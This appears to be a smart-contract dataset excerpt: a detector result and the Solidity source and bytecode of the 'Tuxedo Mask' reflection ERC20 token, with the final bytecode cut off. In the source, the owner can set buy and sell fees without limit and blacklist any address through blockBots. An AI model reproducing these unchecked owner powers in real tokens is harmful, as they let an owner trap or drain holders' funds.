bf1d7f763b67d77c59091670de0b6b3a7640000601054026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610c9e57600080fd5b505af4158015610cb2573d6000803e3d6000fd5b505050506040513d6020811015610cc857600080fd5b81019080805190602001909291905050506004819055506001600a5401600a8190555042600e819055505b90565b60045481565b6000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610d4a57600080fd5b601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610dd357600080fd5b81601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600a5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60095481565b600b5481565b600560009054906101000a900460ff1681565b600d5481565b60025481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60116020528060005260406000206000915090505481565b60035481565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611f316032913960400191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111a85780601f1061117d576101008083540402835291602001916111a8565b820191906000526020600020905b81548152906001019060200180831161118b57829003601f168201915b505050505081565b600081601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111fe57600080fd5b81601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611f316032913960400191505060405180910390fd5b62278d00600e5401421180156113c757506004600a54145b80156113d75750600b54600a5411155b80156113f957506001600760156101000a81548160ff02191690831515021790555b61144e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061202d6028913960400191505060405180910390fd5b6000600f5411156115ac57600f5473282089a0666b5505f55100770228749b7bf1d7f763b67d77c590916010546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156114b657600080fd5b505af41580156114ca573d6000803e3d6000fd5b505050506040513d60208110156114e057600080fd5b8101908080519060200190929190505050600f8190555060045473282089a0666b5505f55100770228749b7bf1d7f763b67d77c59091670de0b6b3a7640000601054026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561155e57600080fd5b505af4158015611572573d6000803e3d6000fd5b505050506040513d602081101561158857600080fd5b81019080805190602001909291905050506004819055506001600a5401600a819055505b90565b60085481565b600760149054906101000a900460ff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611670576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526068815260200180611fc56068913960800191505060405180910390fd5b600454600354108015611696575060001515600760159054906101000a900460ff161515145b6116eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f636022913960400191505060405180910390fd5b60025473282089a0666b5505f55100770228749b7bf1d7f763771602f79091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561174657600080fd5b505af415801561175a573d6000803e3d6000fd5b505050506040513d602081101561177057600080fd5b810190808051906020019092919050505073282089a0666b5505f55100770228749b7bf1d7f763771602f790916003546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156117db57600080fd5b505af41580156117ef573d6000803e3d6000fd5b505050506040513d602081101561180557600080fd5b81019080805190602001909291905050506003819055508160116000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454600354106119385760001515600760149054906101000a900460ff161515146118f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526040815260200180611f856040913960400191505060405180910390fd5b6001600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff021916908315150217905550611937611c17565b5b919050565b6012602052816000526040600020602052806000526040600020600091509150505481565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611f316032913960400191505060405180910390fd5b62278d00600c540142118015611a2257506002600a54145b8015611a325750600b54600a5411155b8015611a5457506001600760156101000a81548160ff02191690831515021790555b611aa9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061202d6028913960400191505060405180910390fd5b6000600f541115611c0e57600f5473282089a0666b5505f55100770228749b7bf1d7f763b67d77c590916010546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611b1157600080fd5b505af4158015611b25573d6000803e3d6000fd5b505050506040513d6020811015611b3b57600080fd5b8101908080519060200190929190505050600f8190555060045473282089a0666b5505f55100770228749b7bf1d7f763b67d77c59091670de0b6b3a7640000601054026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611bb957600080fd5b505af4158015611bcd573d6000803e3d6000fd5b505050506040513d6020811015611be357600080fd5b81019080805190602001909291905050506004819055506001600a5401600a8190555042600d819055505b90565b60105481565b600b54600a5411158015611c4157506001600760156101000a81548160ff02191690831515021790555b611c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061202d6028913960400191505060405180910390fd5b6000600f541115611f2e57600f5473282089a0666b5505f55100770228749b7bf1d7f763c8a4ac9c90916008546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611cfe57600080fd5b505af4158015611d12573d6000803e3d6000fd5b505050506040513d6020811015611d2857600080fd5b810190808051906020019092919050505073282089a0666b5505f55100770228749b7bf1d7f763a391c15b90916009546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611d9357600080fd5b505af4158015611da7573d6000803e3d6000fd5b505050506040513d6020811015611dbd57600080fd5b8101908080519060200190929190505050601081905550600f5473282089a0666b5505f55100770228749b7bf1d7f763b67d77c590916010546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611e3157600080fd5b505af4158015611e45573d6000803e3d6000fd5b505050506040513d6020811015611e5b57600080fd5b8101908080519060200190929190505050600f8190555060045473282089a0666b5505f55100770228749b7bf1d7f763b67d77c59091670de0b6b3a7640000601054026040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015611ed957600080fd5b505af4158015611eed573d6000803e3d6000fd5b505050506040513d6020811015611f0357600080fd5b81019080805190602001909291905050506004819055506001600a5401600a8190555042600c819055505b56fe4f6e6c79205061797a75732041646d696e20697320616c6c6f77656420746f2063616c6c20746869732066756e6374696f6e4f637461706179207265616368656420697473204d6178696d756d20537570706c79546f6b656e204275726e696e672068617320616c7265616479206265656e207472696767657265642043616e74206265207472696767657265642074776963654f6e6c7920746865207374616b696e6720706f6f6c20636f6e7472616374206164647265737320736574206279205061797a75732041646d696e20697320616c6c6f77656420746f2063616c6c2074686973206d696e74206f6374617061792066756e6374696f6e416c6c20666f757220736c6f7473206f6620746f6b656e206269726e696e67206163686569766564a265627a7a7230582085340f56007d9e0d98d7e82de1f42c2e514cc791cc279c3297fdbdd615b3797b64736f6c634300050a0032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,029 |
0xdfbcedd8c7ccd058b6b4c4a8c7dd61a2f424ba5c
|
//* https://tuxedomask.net
// Telegram: https://t.me/TuxedoMaskERC20
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TuxedoMask is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Tuxedo Mask";
string private constant _symbol = "TXMK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _distroFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
//Sell Fee
uint256 private _distroFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _distroFee = _distroFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousDistroFee = _distroFee;
uint256 private _previousTaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0x230d54d9e5300c4651298310439E2F3AA3A33048);
address payable private _devAddress = payable(0x7d0eeeB608927B788eB22CF7B6fC0Ab829159916);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //1% of total supply per txn
uint256 public _maxWalletSize = 100000000 * 10**9; //10% of total supply
uint256 public _swapTokensAtAmount = 100000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_devAddress] = true;
bots[address(0x00000000000000000000000000000000001)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_distroFee == 0 && _taxFee == 0) return;
_previousDistroFee = _distroFee;
_previousTaxFee = _taxFee;
_distroFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_distroFee = _previousDistroFee;
_taxFee = _previousTaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen)
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_distroFee = _distroFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_distroFee = _distroFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.div(9).mul(7));
_devAddress.transfer(amount.div(9).mul(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _distroFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 distroFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(distroFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 distroFeeOnBuy, uint256 distroFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_distroFeeOnBuy = distroFeeOnBuy;
_distroFeeOnSell = distroFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
}
|
0x60806040526004361061019f5760003560e01c8063715018a6116100ec57806398a5c3151161008a578063bfd7928411610064578063bfd79284146104b3578063c3c8cd80146104e3578063dd62ed3e146104f8578063ea1644d51461053e57600080fd5b806398a5c31514610453578063a2a957bb14610473578063a9059cbb1461049357600080fd5b80638da5cb5b116100c65780638da5cb5b146103d25780638f70ccf7146103f05780638f9a55c01461041057806395d89b411461042657600080fd5b8063715018a61461038757806374010ece1461039c5780637d1db4a5146103bc57600080fd5b80632fd689e3116101595780636b999053116101335780636b999053146103125780636d8aa8f8146103325780636fc3eaec1461035257806370a082311461036757600080fd5b80632fd689e3146102c0578063313ce567146102d657806349bd5a5e146102f257600080fd5b8062b8cf2a146101ab57806306fdde03146101cd578063095ea7b3146102135780631694505e1461024357806318160ddd1461027b57806323b872dd146102a057600080fd5b366101a657005b600080fd5b3480156101b757600080fd5b506101cb6101c636600461168f565b61055e565b005b3480156101d957600080fd5b5060408051808201909152600b81526a54757865646f204d61736b60a81b60208201525b60405161020a9190611754565b60405180910390f35b34801561021f57600080fd5b5061023361022e3660046117a9565b6105fd565b604051901515815260200161020a565b34801561024f57600080fd5b50601454610263906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561028757600080fd5b50670de0b6b3a76400005b60405190815260200161020a565b3480156102ac57600080fd5b506102336102bb3660046117d5565b610614565b3480156102cc57600080fd5b5061029260185481565b3480156102e257600080fd5b506040516009815260200161020a565b3480156102fe57600080fd5b50601554610263906001600160a01b031681565b34801561031e57600080fd5b506101cb61032d366004611816565b61067d565b34801561033e57600080fd5b506101cb61034d366004611833565b6106c8565b34801561035e57600080fd5b506101cb610710565b34801561037357600080fd5b50610292610382366004611816565b61073d565b34801561039357600080fd5b506101cb61075f565b3480156103a857600080fd5b506101cb6103b7366004611855565b6107d3565b3480156103c857600080fd5b5061029260165481565b3480156103de57600080fd5b506000546001600160a01b0316610263565b3480156103fc57600080fd5b506101cb61040b366004611833565b610802565b34801561041c57600080fd5b5061029260175481565b34801561043257600080fd5b5060408051808201909152600481526354584d4b60e01b60208201526101fd565b34801561045f57600080fd5b506101cb61046e366004611855565b61084a565b34801561047f57600080fd5b506101cb61048e36600461186e565b610879565b34801561049f57600080fd5b506102336104ae3660046117a9565b6108b7565b3480156104bf57600080fd5b506102336104ce366004611816565b60106020526000908152604090205460ff1681565b3480156104ef57600080fd5b506101cb6108c4565b34801561050457600080fd5b506102926105133660046118a0565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054a57600080fd5b506101cb610559366004611855565b6108fa565b6000546001600160a01b031633146105915760405162461bcd60e51b8152600401610588906118d9565b60405180910390fd5b60005b81518110156105f9576001601060008484815181106105b5576105b561190e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f18161193a565b915050610594565b5050565b600061060a338484610929565b5060015b92915050565b6000610621848484610a4d565b610673843361066e85604051806060016040528060288152602001611a54602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ec2565b610929565b5060019392505050565b6000546001600160a01b031633146106a75760405162461bcd60e51b8152600401610588906118d9565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106f25760405162461bcd60e51b8152600401610588906118d9565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461073057600080fd5b4761073a81610efc565b50565b6001600160a01b03811660009081526002602052604081205461060e90610f91565b6000546001600160a01b031633146107895760405162461bcd60e51b8152600401610588906118d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107fd5760405162461bcd60e51b8152600401610588906118d9565b601655565b6000546001600160a01b0316331461082c5760405162461bcd60e51b8152600401610588906118d9565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108745760405162461bcd60e51b8152600401610588906118d9565b601855565b6000546001600160a01b031633146108a35760405162461bcd60e51b8152600401610588906118d9565b600893909355600a91909155600955600b55565b600061060a338484610a4d565b6012546001600160a01b0316336001600160a01b0316146108e457600080fd5b60006108ef3061073d565b905061073a81611015565b6000546001600160a01b031633146109245760405162461bcd60e51b8152600401610588906118d9565b601755565b6001600160a01b03831661098b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610588565b6001600160a01b0382166109ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610588565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610588565b6001600160a01b038216610b135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610588565b60008111610b755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610588565b6000546001600160a01b03848116911614801590610ba157506000546001600160a01b03838116911614155b15610db557601554600160a01b900460ff16610c0957601654811115610c095760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610588565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4b57506001600160a01b03821660009081526010602052604090205460ff16155b610ca35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610588565b6015546001600160a01b03838116911614610d285760175481610cc58461073d565b610ccf9190611955565b10610d285760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610588565b6000610d333061073d565b601854601654919250821015908210610d4c5760165491505b808015610d635750601554600160a81b900460ff16155b8015610d7d57506015546001600160a01b03868116911614155b8015610d925750601554600160b01b900460ff165b15610db257610da082611015565b478015610db057610db047610efc565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df757506001600160a01b03831660009081526005602052604090205460ff165b80610e2957506015546001600160a01b03858116911614801590610e2957506015546001600160a01b03848116911614155b15610e3657506000610eb0565b6015546001600160a01b038581169116148015610e6157506014546001600160a01b03848116911614155b15610e7357600854600c55600954600d555b6015546001600160a01b038481169116148015610e9e57506014546001600160a01b03858116911614155b15610eb057600a54600c55600b54600d555b610ebc8484848461119e565b50505050565b60008184841115610ee65760405162461bcd60e51b81526004016105889190611754565b506000610ef3848661196d565b95945050505050565b6012546001600160a01b03166108fc610f216007610f1b8560096111cc565b9061120e565b6040518115909202916000818181858888f19350505050158015610f49573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f696002610f1b8560096111cc565b6040518115909202916000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6000600654821115610ff85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610588565b600061100261128d565b905061100e83826111cc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105d5761105d61190e565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b157600080fd5b505afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e99190611984565b816001815181106110fc576110fc61190e565b6001600160a01b0392831660209182029290920101526014546111229130911684610929565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115b9085906000908690309042906004016119a1565b600060405180830381600087803b15801561117557600080fd5b505af1158015611189573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111ab576111ab6112b0565b6111b68484846112de565b80610ebc57610ebc600e54600c55600f54600d55565b600061100e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d5565b60008261121d5750600061060e565b60006112298385611a12565b9050826112368583611a31565b1461100e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610588565b600080600061129a61